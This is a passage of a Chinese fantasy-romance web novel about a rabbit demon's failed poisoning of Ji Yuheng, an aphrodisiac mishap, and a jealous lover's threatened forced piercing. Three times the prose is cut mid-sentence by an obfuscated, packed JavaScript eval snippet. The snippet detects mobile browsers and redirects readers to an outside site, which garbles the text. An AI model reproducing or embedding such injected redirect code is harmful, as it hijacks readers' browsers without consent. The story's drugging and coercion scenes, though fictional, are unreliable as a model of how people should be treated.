妖物都会长内丹,食人妖魔的内丹通常都含有毒.素,活得越久毒性越强,绿香球带来的这瓶就属于极品,几滴就能毒死姬玉衡。 但是对于妖族而言,丹毒的作用就截然不同了,里面的毒素不仅杀不死妖物,反而能起到催.情的功效,相当于人类的媚药。 绿香球担心绮雪可能会不小心失手沾到毒.药,特意花更多银子买来了丹毒,绮雪很感谢她的细心,对此欣然接受,毕竟他自己确实也有点害怕。 不过他对这次的刺杀行动还是很有信心的,天时地利人和,他就不信弄不死姬玉衡,今晚必是姬玉衡的死期! 13.13 绮雪看过原著,对姬玉衡的生活作息了如指掌,书中是这样写的:姬玉衡很喜欢小动物,所以自少时起就几乎不沾荤腥,郡主特意为他修建了小厨房,两人的膳食是分开做的。 当然了,这在绮雪看来就是伪君子的惺惺作态,唯一的好处就是方便他给姬玉衡的饭菜里下毒,不用担心会连累到别人。 按照绿香球口述的地形,兔团鬼鬼祟祟地溜到了小厨房,躲在角落的阴影里,寻找着给晚饭下毒的机会。 岂料小厨房今晚并没有开火,兔团偷听仆人们的对话才得知,姬玉衡有公务在身,要忙到很晚才回来,当然就不用准备晚饭了。 兔团气急败坏地跺脚,心想姬玉衡可真能坏事,不过他当然不可能就这样放过这次绝佳的机会,很快就溜了出去,钻进了姬玉衡的卧房。 一计不成就再施一计,饭菜不能下毒,他就趁着姬玉衡睡着后直接灌进他嘴里,他就不信姬玉衡今晚还能不回来睡觉。 兔团叼起小瓷瓶藏到床下,耐心地等待着姬玉衡,大概两个时辰后,他听到门外响起了脚步声。 为了看清来人是谁,兔团挪了挪兔屁股,躲在床柱后面,悄悄地探出了小脑袋。 “吱呀……” 屋门打开,先进来的人是两名侍女,点燃烛台上的蜡烛和熏炉的安神香,烛影摇曳,清淡的香气很快充盈满室。 少顷,在侍从的簇拥下,一位年轻人走进屋中,他的面容俊美清雅,一身锦衣玉带,雍容尊贵,气质却明澈如水,不染半分尘埃。 侍从接过他手中系着翡翠双鱼扇坠的折扇,轻轻地放置在梨花木的扇座上,另一人为他解开青灰色的披风,铺在衣桁上,平整地抚去褶皱。 毫无疑问,年轻人就是姬玉衡。 亲眼得见仇人,兔团咬牙切齿地盯着他,粉鼻尖颤动着,恨不得直接冲上去咬断他的喉咙。 侍从们伺候姬玉衡更衣洗漱,看得兔团嗤之以鼻,这架子摆的,就这么点事还得几个人一起做,姬玉衡是没长手吗,连自己脱衣服都不会脱? 等到收拾妥当,姬玉衡温声说道:“都去歇息吧,不用留下伺候。” 他的声音非常温柔,也确实是个好脾气的人,说话时常有春风拂面之感,让人很难对他心生厌恶。 “是,公子。” 其他人出去了,将房门合拢,屋中恢复寂静,姬玉衡这才揉了揉眉心,流露出一丝倦色。 他准备再看会书就上床休息,眼角的余光扫过床头,却忽然发现床柱边有一抹雪白,仔细一看,竟然是两只小小的兔耳朵。 兔团还没发现自己的耳朵已经支棱出去了,眼看着姬玉衡离床边越来越近,还以为他打算睡觉了,正暗暗激动着,却不料一双修长的手忽然伸到他的眼前,将他整只抱了起来。 什、什么,姬玉衡是怎么发现他的? 兔团懵了,甚至忘了反抗,被姬玉衡捧在掌心上,细细地打量着。 小兔子绒毛柔软蓬松,个头非常小,还不及手掌大,眼睛却又大又圆,黑黑亮亮的,像极了漂亮的黑玛瑙。 姬玉衡心里一软,摸了摸这只软乎乎的毛绒团子,声音轻柔地问:“你是谁家的小兔子,怎么会在我的房间里?” 兔团这才反应过来发生了什么,甚至来不及思考被发现的原因,瞬间炸了兔毛。 姬玉衡这个禽兽,居然随便摸他的兔屁股! 他真的很想恶狠狠地一口咬下去,可想到自己的任务,又不得不忍辱负重,在杀掉姬玉衡之前,他决不能打草惊蛇…… 兔团不说话,忍辱负重地蹭了蹭姬玉衡的手指,在他的手掌上撒娇打滚,假装成普通的小兔子,引诱他放松警惕。 可他不知道,普通的小兔子根本不会像他这样有灵性,他实在太过可爱了,姬玉衡忍不住露出清浅的笑意,轻轻地抚摸兔团。 姬玉衡身上的气息干净清冽,温柔平和,是相当受小动物喜爱的味道。 他的手掌也很温暖,抚摸的力道轻轻的,似是拥有催眠的魔力,摸得兔团逐渐放松警惕,软软地摊成兔饼,趴在了姬玉衡的大腿上。 他昏昏欲睡,无意识地伸出粉粉的舌头,舔了舔姬玉衡的指尖。 感受到指尖上的热度,姬玉衡宠爱地点点兔团的小脑袋,将他轻柔地放在暖好的锦被中,让他继续睡觉。 锦被又暖又轻,用熏香熏过,闻起来香香的,还有一丝姬玉衡的味道,兔团如同坠入了柔软的云朵之中,没一会就真的睡着了。 等兔团醒过来的时候,已经是深夜了。 他倏地睁开眼睛,懊恼于自己竟然睡过去了,这不应该啊,他哪有这么贪睡,怎么会在杀人的时候睡着呢? 幸好他还在姬玉衡的房间里,并没有被送出去,绮雪看了看周围,原来自己还在床上,姬玉衡就把他放在枕边,还给他盖了一条手帕缝制的小被子,他就在一旁静静地睡着。 兔团见状,立刻跳到地上,从床底拖出小瓷瓶,变回人形,拿着瓷瓶靠近姬玉衡。 烛光黯淡,绮雪可以看到姬玉衡宁静的睡颜,没错,只要他掰开姬玉衡的嘴,将丹毒的毒液灌下去就行了,简直是轻轻松松,易如反掌…… 他的指尖即将碰触到姬玉衡的双唇,然而就在这个瞬间,窗外响起了尖锐的猫叫,是府中喂养的两只猫儿打了起来,一路打到卧房的窗前,撞得窗户砰砰作响。 绮雪被突如其来的猫叫声吓了一跳,手上一抖,没拿稳小瓷瓶,竟不小心将毒液全都洒了出来,淋得自己满身都是,却半滴都没洒在姬玉衡身上。 完了! 绮雪眼看着自己将丹毒吸收得一干二净,心都凉透了,他不明白自己今晚为何会出这么多纰漏,这不应该啊,明明他离杀掉姬玉衡就差一步了,为什么最后会变成这样? 这时姬玉衡已然有醒来的迹象,身体动了动,绮雪见势不妙,打算先溜出去再说,却忽然感觉到了不对劲,他的身体开始发烫了。 吸收过丹毒的肌肤变得滚烫,化作一股灼烧感,迅速扩散于他的五脏六腑,仿佛要将他蒸熟了一般,让他一下子跪倒在了地上。 “呜……” 绮雪捂着肚子,身体蜷缩成一团,难受得眼泪都出来了。 丹毒对人类是剧.毒,却是妖族的媚药。 他体内怪异的感觉不仅仅是痛苦,还是酥、是麻、是痒。 似是水流遭到阻塞,他的身体成了水壶,存放的水越来越多,却无人汲取,胀得他难受。 但这种极度的饱胀感中竟然还夹杂着空虚的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007202|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让他想起了每一个和卫淮度过的夜晚。 有时卫淮起了坏心,吊得他不上不下的,现在的难受就和这种被吊着的感觉很像,却远比那时更煎熬。 他满脸汗湿,不得不张开双唇艰难地呼吸着,早已变得泪眼朦胧。 理智愈发昏聩,绮雪渐渐忘了自己身在何处,觉得自己似乎就在那张熟悉的软榻上和卫淮纠缠。 卫淮的眼中盈满笑意,坏心地故意不碰绮雪,等着绮雪求他。 绮雪倒在松软的地毯上,十指陷入软毯,抓紧长长的绒毛,小声地呜咽着。 “七郎,求你……” 姬玉衡睁开眼睛,在看清事物前,最先听到的就是这样一声甜蜜又痛苦的啜泣。 一只纤细柔软的手攀在床沿边,胡乱地抓着,刚好抓住他的手,便如同抓住了救命稻草,将他微凉的手指贴在滚烫的脸颊上,发出满足的低吟。 姬玉衡怔了怔,往床下一看,借着烛台上唯一留下的灯火,他看清了抓住他的人。 一瞬间,他以为自己坠入了一场幻梦,但指间真实的触感告诉了他,这不是他的梦境。 容色绝艳的美人伏在他的床边,衣衫凌乱,双颊潮红,眼尾宛如染着艳丽的胭脂,神态楚楚可怜,用脸颊蹭着他的手背,祈求他的怜爱。 他美得勾魂摄魄,不知自何处而来,如若从月宫坠落的仙子,有着月光般的姣丽和脆弱。 姬玉衡迟疑片刻,没有立刻收回自己的手,也没有叫侍女进来,只是问他:“你是谁?是不是被人下了药?” 任谁都能看得出绮雪的状态并不正常。 他浑身滚烫,雪腻的脖颈汗珠滑落,打湿了垂落的乌发,整个人如同刚从热泉中捞出来一般,眼神也是涣散的,张着粉润的唇瓣,喘得很厉害。 绮雪意识模糊,根本回答不了姬玉衡的问题,喉咙里只能发出可怜的呜咽,伏在床沿边,吮吻着姬玉衡的指尖。 姬玉衡何曾被人这般对待过,立刻将手抽了回来,如玉的脸孔泛起薄红。 他不清楚绮雪为什么会出现在自己的房间里,不过他并不认为绮雪是刺客,更有可能是被什么人灌下媚药后悄悄送进来的,用来讨他的欢心。 毫无疑问,姬玉衡不可能碰触一个来路不明又神志不清的人,但绮雪太美了,他终究还是有些心软,很难严词厉色盘问绮雪,低声说道:“你等一等,我去为你找解药。” 他披上衣服下床,正打算出去,却被绮雪从身后抱住。 两只潮热的手自他的胸膛向下滑动,隔着单薄的中衣,仿佛足以点燃火焰。 姬玉衡身体微僵,拂下绮雪的手,绮雪却不依不饶地紧贴他的后背,嗓音带着哭腔,可怜又婉转:“七郎,你去哪里……你是不是不喜欢我了,不想要我了?” 七郎是他的情郎吗? 姬玉衡这样猜测着,越发认定绮雪只是遭到陷害的无辜之人,不免心生怜惜,转过身温柔地向他解释:“你别难过,不是七郎不喜欢你,只是我不是他,我不可以碰你。” “不过你放心,我会把你送回七郎身边。你叫什么名字?我……” 说到这里,他忽然停下,面露惊讶地看着绮雪的发顶。 两只兔耳朵正软绵绵地趴在他的黑发上。 14.14 姬玉衡扶着绮雪,环视整间卧房,确实没看到在床下捡来的小兔子,再加上绮雪冒出来的兔耳朵,便意识到突然出现的美人其实就是那只小兔子。 得知绮雪是兔妖,姬玉衡并没有任何惊慌的表现,也没有对绮雪产生敌意,反而更加细心地将绮雪扶到床边,让他躺到床上。 他从小就喜欢小动物,总是救治和帮助它们,久而久之,他善良的名声就在有灵智的小妖怪们之间传开了,经常有小妖怪慕名前来寻求他的帮助,他每次也都是尽可能地满足它们。 能化成人形的妖物姬玉衡还是第一次遇见,不过他一视同仁,把绮雪同样当做了需要他帮助的小动物,实在是绮雪的原型太过可爱,让人没法对他产生戒心。 他叮嘱绮雪:“你乖乖地等我一会,我很快就回来。” 谁知话音刚落,绮雪就循声扑了过来,如菟丝子般地缠住他,勾住他的后颈:“别走……” “听话。” 姬玉衡无可奈何地扣住绮雪的手腕,用腰带将他的双手束缚在一起,让他不能乱摸乱碰。 姬玉衡的长相温文贵气,又极富才学,却并非弱不禁风的书呆子,反而精通射御之术,身体结实有力,制服绮雪还是不在话下的。 他把绮雪送回床上,为他盖好被子,温声说:“别害怕,这里很安全,不会有其他人进来。” 但如果绮雪能配合他,他也就不用绑住绮雪了,绮雪就算被绑了双手也要靠近他,挣扎着滚落在地,幸好有被子做缓冲,并不是很疼。 姬玉衡只好折返回去,将他抱了起来。 他未着发冠,一缕长发滑落下来拂过绮雪的脸,绮雪微微歪头,忽然张开双唇将发丝含入口中。 洁白的贝齿轻咬乌发,鲜红的舌尖将发丝润湿,煽情而旖旎。 纵使知道绮雪的本体,姬玉衡却依然耳朵微红,不得不移开视线,不再看绮雪的脸。 他总算明白绮雪已经听不进去他的话了,索性保持缄默,将绮雪的双手绑在床柱上,出去为他拿解药了。 考虑到绮雪是兔妖,暴露身份可能会有危险,姬玉衡并不想惊动府上的任何人,独自去药房拿了解药。 大多数媚药的成分都是差不多的,只要服下解药,再用凉水擦擦脸和手,药性基本也就除了。 姬玉衡快去快回,回到房中时,听到了绮雪难受的哭声,他走到床边一看,却立刻有些后悔就这样匆忙地将绮雪绑了起来。 绮雪的肌肤太过娇嫩,就这么短短一会功夫,他的手腕就被腰带磨破了,渗出的血珠将腰带染得星星点点的,看着就让人心疼。 “抱歉。” 姬玉衡连忙解开束缚,先给绮雪喂了解药,又取出暗格里的药粉给他的手腕敷药,动作小心翼翼,生怕再弄疼绮雪。 其实绮雪感觉不到疼,丹毒里有麻醉的成分,不然他早该疼醒了。 他哭只是因为受到情热的折磨,刚一感觉到自己被松开束缚,就自然而然地顺着热源粘了过去,舔上姬玉衡的喉结。 感受到那一点湿热,姬玉衡瞬间脸红了,却又顾忌绮雪身体虚弱,不好将他从怀中推出去,只能尽量扭过头,不让绮雪碰他。 绮雪越发地不安分,顺着脖颈的线条向上舔去,亲吻姬玉衡的下颌,几乎要亲上他的唇。 姬玉衡难为情地捂住他的唇瓣:“别这样。” 他主动拉开两人的距离,绮雪却不想放他走,伸手扯开他的衣带,让他衣衫大敞,高热的手心抚上了他的胸膛。 肌肤相贴,姬玉衡再也无法保持镇静,狼狈地拢着衣襟下了床,耳根都红透了。 几次三番遭到拒绝,绮雪委屈地落下眼泪,泪光盈盈地望着他:“七郎,我好难受,求你碰碰我,别丢下我……” 姬玉衡闭了闭眼睛,将幔帐放下来,隔绝了绮雪的视线。 他知道绮雪难受,可现在的情况对他来说同样是场折磨,温香软玉在怀,他又不是冷冰冰的石头,怎么可能连丝毫触动都没有。 换作是别人,也许这时已经顺水推舟了,但姬玉衡不会,他绝不可能顺从自己的欲.望去做出伤害别人的事,哪怕对方是只小兔子。 由于伤了绮雪的手腕,姬玉衡不敢再绑着他,只能任由他折腾,自己去窗边坐着,等着解药发挥功效。 可他始终没有等到绮雪清醒,反而听到帐中的哭声越来越缠绵,不免有几分担忧,当即起身上前掀开幔帐查看绮雪的状况。 他才挑起一条缝隙,才看过一眼就蓦然怔住,立刻合上幔帐,遮住帐中过于绮艳的风光。 “……” 幔帐之后,昏昏沉沉的绮雪完全听不见任何动静,只是叼着被子的一角,将脸深深埋进软枕里。 他的衣服早就被他褪得一干二净,凌乱地堆在一旁,露出大片柔软莹润的雪肤。 他实在太难受了,却等不来卫淮的疼宠,所以他只好依靠自己,笨拙地学着卫淮,却始终不得要领,反倒把自己折磨得泪流不止。 这一切都叫姬玉衡看得分明。 他沉默地站在幔帐外,听着绮雪低声的啜泣,连脖颈都染上绯色。 解药没有绮雪身上发挥应有的作用,姬玉衡不清楚是不是与绮雪是兔妖有关系,必须给绮雪号脉才能弄清哪里出了问题。 “对不起,得罪了。” 姬玉衡隔着幔帐,轻轻地扣住了绮雪的手腕。 几年前南平郡时疫蔓延,为了控制疫病,他跟随几位大夫学习医术,如今对医理也算是颇有研究,郡主府的药房就是他亲自置办的。 幸好绮雪化成人形后,经脉与普通人一致,经姬玉衡诊断,绮雪的脉象很乱,比起媚药,更像是中了火毒,而且毒性很重。 难怪只靠服药会不起作用,像他这样的情况,必须用药液涂遍全身才可缓解。 姬玉衡放开绮雪的手腕,眉头紧蹙起来。 绮雪的情况远比他想象得严重,再这样让他苦熬下去,恐怕会损伤身体,为今之计,也只有由他为绮雪擦拭身体。 姬玉衡向来克己守礼,但关键时刻他也绝不是迂腐之人,一旦有了想法,便很快做好准备,帮绮雪缓解药性。 他取来一段红纱,折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022606|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠几层蒙住双眼,这样他就只能朦胧地看到绮雪的身体,这样既不耽误抹药,也不会对绮雪所有冒犯。 幔帐一被掀开,绮雪就难受地爬了过来,攀住姬玉衡的肩头,啜泣着央求:“救救我,七郎,我好难受……” 帐中香气馥郁,他出了太多汗,浑身湿漉漉的,像是刚从水中捞出来一般,肌肤柔腻得简直握不住。 他似艳丽妖异的美人蛇,柔若无骨地缠绕着大胆的入侵者。 看不见又如何?他的香气、温暖、吐息和触碰无一不是最尖利的毒牙。 下一刻,他就会刺穿姬玉衡的心,击碎他的理智,让他溃不成军,坠入极乐的地狱。 “……” 姬玉衡的喉结滚动着,推开绮雪抚摸他的手,从水盆中取出被药液浸湿的手帕,轻轻地给绮雪擦脸。 绮雪舔他的手背,他并不拒绝,因为他的手上沾了药,吃一点总归没有坏处。 但或许是因为他没有太大反应,招致绮雪的不满,绮雪忽然凑到他面前,张唇叼住他蒙眼的红纱,将红纱一点点地往下拽。 姬玉衡立刻闭上双眼,伸手阻止绮雪,以指腹抵住他的唇瓣:“乖一点,别乱动。” “嗯……” 绮雪好像听懂了,又好像没懂,亲了一口他的指腹,又亲了亲他被红纱覆盖的眼睛,这才心满意足地退了回去。 “……” 姬玉衡面色绯红,却一言不发,沉默地将红纱拉了上去,只露出线条分明的白皙下颌,更换新的手帕,为绮雪擦拭双肩和后背。 绮雪柔顺地倒在他怀里,任他尽情碰触自己,他的兔尾巴也冒了出来,舒服得一抖一抖的。 姬玉衡的手指不小心从尾巴尖上擦了过去,绮雪立刻发出呜咽,纤瘦的脊背如弓弯折,颤抖地说:“别碰尾巴,尾巴不行……” “好。”姬玉衡以为他尾巴疼,立刻把手挪开了。 可他真的放着尾巴不管,绮雪又不干了,撒娇地说:“好七郎,你再多摸摸我的尾巴。” “……”姬玉衡张了张唇,似是想说些什么,最后却没开口,默默地摸了摸兔尾巴。 绮雪身体颤得越厉害,一个劲地往姬玉衡怀里钻,姬玉衡不得不抱住他,将他托到大腿上坐着,安抚着他的情绪。 随着药液遍及全身,绮雪体内那股火焰烧灼般的感觉逐渐消失,取而代之的是清凉的舒适。 不再遭受丹毒的折磨,绮雪立刻精疲力尽地昏睡过去,姬玉衡见状便知毒性已除,轻轻地舒了口气,温柔地擦净他的身体,又将衣服一件件地穿好。 做好这一切,姬玉衡解下红纱,低头看了看自己,脸上露出一抹苦笑。 这真是天下最难的差事,他早已浑身是汗,中衣被汗水打透,沾满了不属于他的香气,只怕这件衣服以后是难以见人了。 简单收拾了一下自己,姬玉衡坐回床边,垂下眼眸凝视着绮雪的睡颜。 “我不是你的七郎。” 他轻声说。 “我名叫姬玉衡,如果你愿意,可以叫我‘阿玉’或‘云期’。” 15.15 绮雪睡着后,意识来到了一片虚无中,在这里,他见到了山阴娘娘的真身。 她的真实法身足有千丈之高,周身缭绕着虚幻的雾气,绮雪作为一只渺小的兔团,根本看不见这尊真身,眼前所见唯有宏大的黑暗。 虽然看不见山阴娘娘,但兔团就是知道她来了,激动地蹦跳着向她行礼:“弟子见过娘娘!” 山阴娘娘的声音自冥冥幽深处传来,微含笑意地说:“你近来的表现我都看在眼里,你做得很好,不仅让卫淮对你死心塌地,就连姬玉衡也被你牵连心神,想必他未来的路不会再那般顺遂了。” 听着山阴娘娘的夸奖,兔团身体一僵,并没有表现出很高兴的样子。 他的兔耳朵蔫巴巴地耷拉下去:“可是……弟子本想杀了姬玉衡,却反倒将丹毒洒在了自己身上,弟子太笨了……” 而且他也不想让卫淮对他死心塌地,照这样下去他们很难好聚好散了,除非山阴娘娘能帮他抹去卫淮的记忆。 “这不能怪你。” 山阴娘娘说:“我这次召你前来就是为了告诉你,不要急于对姬玉衡和谢殊下杀手,他们受天道庇护,气运鼎盛,无论你用什么手段都杀不死他们,甚至可能遭到天道反噬,丢掉自己的性命。” 兔团恍然大悟,原来他不小心睡着和失手打翻丹毒都不是他自己的问题,而是受到天道影响的缘故,他就说他怎么会那么不靠谱,随便被摸摸就能睡着。 不过他还是欠考虑了,其实他早该想明白,如果姬玉衡和谢殊能被轻易杀死,山阴娘娘早就亲自出马了,哪还轮得到他动手。 山阴娘娘道:“天道气运也不是无法可解,我遣你去上京正是为此做准备,只要慢慢削减他们的气运,总有一日,他们会失去天道的庇护,我便可以杀死他们。” 兔团期待地问:“弟子该怎么做才能削减他们的气运?” “天机不可言说,待你进入上京后,我自会派遣法身助你。”山阴娘娘道。 “多谢娘娘。” 兔团在原地转了一圈,略显踌躇地开口:“娘娘,弟子有个不情之请,能不能请娘娘为弟子消除卫淮的记忆?” “为什么?” 山阴娘娘问,绮雪向她解释了缘由,她笑道:“我可以帮你,但我不想帮你,因为我知道你可以做得更好。” 兔团不太明白她的意思,疑惑地说:“还请娘娘赐教。” “卫淮已经对你死心塌地,你为何不试着让他更加爱你?爱到即使被你抛弃,他也甘之如饴,愿意为你付出一切,甚至是他的性命。” 山阴娘娘低声细语,充满蛊惑的意味。 “让他爱你爱到发狂,你背叛誓言又算得了什么?就算你要他死,他也只会乖乖遵从,他就是你脚边摇尾乞怜的狗,绝不敢违背你的意愿……” “你能做到吗?” 她最后的问话如同是在考验兔团,兔团头脑一热,大声答道:“能!” “好,我就知道你不会让我失望。” 山阴娘娘微笑,挥了挥手,将兔团送出虚无。 兔团的意识从虚无中脱离,悠然醒了过来。 …… 绮雪睁开眼睛,精神有些恍惚。昏睡之前,他的记忆还停留在自己不慎打翻了毒液,至于后面的事,就完全不记得了,连一丁点都回想不起来。 当然,他也不清楚自己已经暴露了兔妖的身份,随着情热褪去,他的妖力稳定下来,耳朵和尾巴变了回去,让他察觉不出丝毫异样。 绮雪动了动酸软的身体,慢慢坐了起来,被子从身上滑落,他掀开幔帐,发现自己还在姬玉衡的卧房,不过姬玉衡不在房中,窗外已经天色大亮了。 看到自己居然睡到这个时候,绮雪着急地变回兔团逃离了郡主府,他知道卫淮肯定已经回到军营了,趁着卫淮入城之前,他必须和莺娘换回身份,不然麻烦就大了。 绮雪离开后不久,姬玉衡回到了卧房,走到床边轻轻掀开幔帐,查看绮雪的状况。 昨晚他一夜未眠,考虑了很多事情,只待小兔妖清醒后两人一起谈谈。 然而当他掀起幔帐,却赫然发现床上的人不见了踪迹,哪怕搜遍整间卧房,也没有找到人影或是毛茸茸的小兔子,小兔妖确实已经离开了。 “……” 姬玉衡眼中掠过一丝失望之色,思索片刻,独自来到后花园,朝假山上玩耍的狸花猫招了招手。 狸花猫轻灵地蹦了下来,“喵”了一声,算是向他打招呼。 姬玉衡俯低身体,向狸花猫询问:“你近日有没有见过一只兔妖,原型娇小雪白,道行不俗,可以化作人形?” “能变成人的兔妖?没见过呀。” 狸花猫口吐人言,惊讶地说:“兔族天生妖力低微、修行艰难,很少有能修出人身的,他一定修行得很刻苦吧……怎么了,公子是想找到这只兔妖吗?” “是。”姬玉衡颔首,“还请你们帮我找到他,我……有话想对他说。” 想和他再见一面。 - 兔团一路狂奔到绮纨楼,避人耳目钻进莺娘的闺房,却发现莺娘和绿香球都不在,只有一只陌生的小鸟守在窗边。 小鸟见到兔团,拍着翅膀问:“你是阿雪吗?” “对,我是阿雪。”兔团说,“是不是一只叫‘绿香球’的鹦鹉托你找的我?” “是的。” 小鸟说:“绿香球托我领你去偎翠馆,她和莺娘就在那里。她还叫我叮嘱你,一定要尽快赶过去,要是被卫淮发现就完蛋了!” 兔团不敢怠慢,立刻让小鸟领着他前往偎翠馆,而到达偎翠馆后,他总算明白为什么绿香球让他一定要赶快过来了。 偎翠馆是一家花楼,专供男子玩狎之乐,兔团看过艳.情小说后就知道这是什么地方了,不由大惊失色。 莺娘来花楼没什么,可问题是她现在还顶着他的身份,万一和姑娘或客人们发生点什么,还被卫淮知道的话…… 兔团瞬间五雷轰顶,飞快地往里面窜,守在门口等他的绿香球见他来了,连忙给他引路:“快,在二楼!” 上到二楼,兔团见到了几个诸怀卫,但杏儿不在,绿香球低声解释:“杏儿不方便进来,就回去给卫淮通风报信了,估计卫淮就快到了,” 兔团快晕过去了:“莺娘为什么会来这里?” “她也是没办法。” 绿香球无奈地说:“你一夜未归,偏偏你的人形又太美,维系幻术需要耗费大量的妖力,莺娘实在撑不住,只能来偎翠馆找她的姐妹给她渡妖力了。” 绮雪这才知道归根结底还是他自己的问题,不禁无比后悔刺杀姬玉衡的行动,不过他把这笔账全都算到了姬玉衡的头上,都怪这个禽兽,他就不能自杀吗! 避开诸怀卫的视线,绮雪和绿香球溜进了莺娘的房间。 他们进去一看,就看到几只灵狐已经被抽干了妖力,连人形都维持不住了,萎靡不振地躺在地上。 莺娘的脸色也虚弱而苍白,看到兔团的一瞬间,她几乎要落泪了:“你总算回来了!” 下一刻,莺娘刷地变成了白狐,瘫在椅子上呼呼大睡起来,兔团立刻变成人形,惭愧地将几只狐狸捡起来放在床上,给她们盖好了被子。 “快走吧!” 绿香球催促,绮雪点点头,推开了屋门,正要往楼下走,却听到熟悉的脚步声正一步步地踏上楼梯,朝着他的方向走了过来。 绮雪认出了脚步声,顿时身体一僵,下意识地往屋里躲藏,却被来人叫住:“阿雪。” 脚步声越来越近,在他身后停下了。 绮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042684|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪心慌得厉害,赶紧把门关上,免得被人看到满屋的狐狸,只是这样一来,他自己也无处可藏了,被一双有力的手臂从背后抱了起来。 卫淮俊朗的面孔映入他的视线,看起来和平时似乎没什么不同,桃花眼微微弯着,透出几分笑意。 他低下头,温柔地问绮雪:“怎么,没玩够吗,还想进去玩玩?” “不是这样的,七郎,你听我解释……” 绮雪摇头,绞尽脑汁地思索着借口,内心有些慌张。 他后悔了,其实他真的应该请山阴娘娘消除卫淮的记忆,娘娘太高看他了,他怎么可能做得到让卫淮成为他的狗啊。 他在书中看过,他这样的行为被人族称为“戴绿帽”,对男人而言是极大的羞辱,性格极端的人甚至会杀掉配偶泄愤。 尤其是前一夜,他才与卫淮海誓山盟,承诺愿意和卫淮成婚,一辈子不离开他…… 绮雪觉得,别说卫淮本来就不是正常人,就算是他自己,被这样对待恐怕也会有杀人的心了。 卫淮一路抱着绮雪走出偎翠馆,将他抱上马车,自己也坐了进去,支着下颌说道:“你解释吧,我听着。” “偎翠馆里有我的旧识,我只是找她们叙旧,其他什么都没做。” 绮雪料想莺娘也不可能和她的姐妹们做什么,索性大着胆子编造:“我跟她们说,我就快和七郎成婚了,她们都很羡慕我,还祝我和七郎百年好合。” “是吗?”卫淮不置可否,“还有呢?” 绮雪攀着卫淮的手臂,讨好地往他怀里钻:“还有……为了让七郎更喜欢我,我特意向她们请教了一些闺中秘术,我觉得我理解得还不错,就等着和七郎试一试……” 他亲吻卫淮的耳廓,指尖在他的胸口暧昧地画着圆圈,卫淮沉默片刻,忽然轻笑一声:“好啊。” 他侧过头,吻上绮雪的双唇,绮雪搂住他的后颈,竭尽所能地回吻,眸光缠绵迷离,心里想的却是另一回事,他这算是过关了吗? 卫淮将绮雪带回军营,就先去练兵了,绮雪等了一天都无事发生,中间杏儿过来送饭的时候他还打听了一下,也没听说卫淮有什么大动肝火的表现,似乎真的不是在强忍怒火。 绮雪悬着的心总算放下来了,一到晚上,他就很自觉地沐浴打扮,换上一身薄薄的纱衣,等着卫淮回来。 没过多久,卫淮掀帘走入帐中,面含盈盈笑意,仿佛心情不错。 “七郎……” 绮雪甜甜地唤了一声,殷勤地帮卫淮脱去甲胄,卫淮从怀中掏出一个精致的小盒,递到绮雪手上:“送给你的礼物。” 卫淮三天两头就会给绮雪带礼物,绮雪也没多想,开心地打开盒子:“七郎对我真好。” 映入他眼帘的是一对耳环,样式比较奇特,银色的短棍下坠着小巧的红宝石,拿起来之后,深红的宝石会随着短短的银链晃动,闪烁着美丽的光泽。 绮雪放在耳边比划了一下,为难地说:“很漂亮,我很喜欢,不过我没有耳洞。” 再说变回原身后,他的耳朵上要是戴着这么两个东西,肯定会暴露身份的,绝对不能戴。 卫淮笑了笑:“没有也没关系,这东西不是耳环。” “不是耳环?”绮雪仔细看了看,“那是什么?” “她们没教你吗?” 卫淮靠近绮雪,在他的胸口上点了点:“是戴在这里的。” 绮雪惊呆了,脸色瞬间变得苍白,这、这分明是要戴在…… 卫淮爱怜地亲了亲他的额头:“别怕,我亲自给你戴,很快就能戴好,不会让你疼的。” 他掀开绮雪的纱衣,拿着另一只乳.钉在绮雪身上比量着。 “很好看,也很醒目。”他面露笑意,“这样他们才能知道你是我的妻子,不是吗?” 16.16 卫淮抱着绮雪来到软榻上,褪去他的纱衣,在雪白的胸口上抹了些麻药,又用烛火炙烤一根细长的银针,将针头烧得滚热。 想象着银针穿过软肉的画面,绮雪吓得花容失色,原来他根本没能糊弄过去,卫淮白天没有发作,就是等着现在和他算账呢! 他连忙抱住卫淮求饶:“七郎,我真的知错了,求你绕过我这一回吧,我以后再也不敢了!” “你说你知错了?” 卫淮垂眸看向绮雪,温柔地说:“那你不妨和我说说,你到底错在哪里,我不是很清楚。” “我不该夜不归宿,更不该私自去花楼。” 绮雪可怜地望着他,轻咬饱满的唇肉,一副泫然欲泣的表情:“我只是……一时糊涂,绝不会再有下回了,而且我真的什么都没做,没有碰过任何人,我只有七郎……” 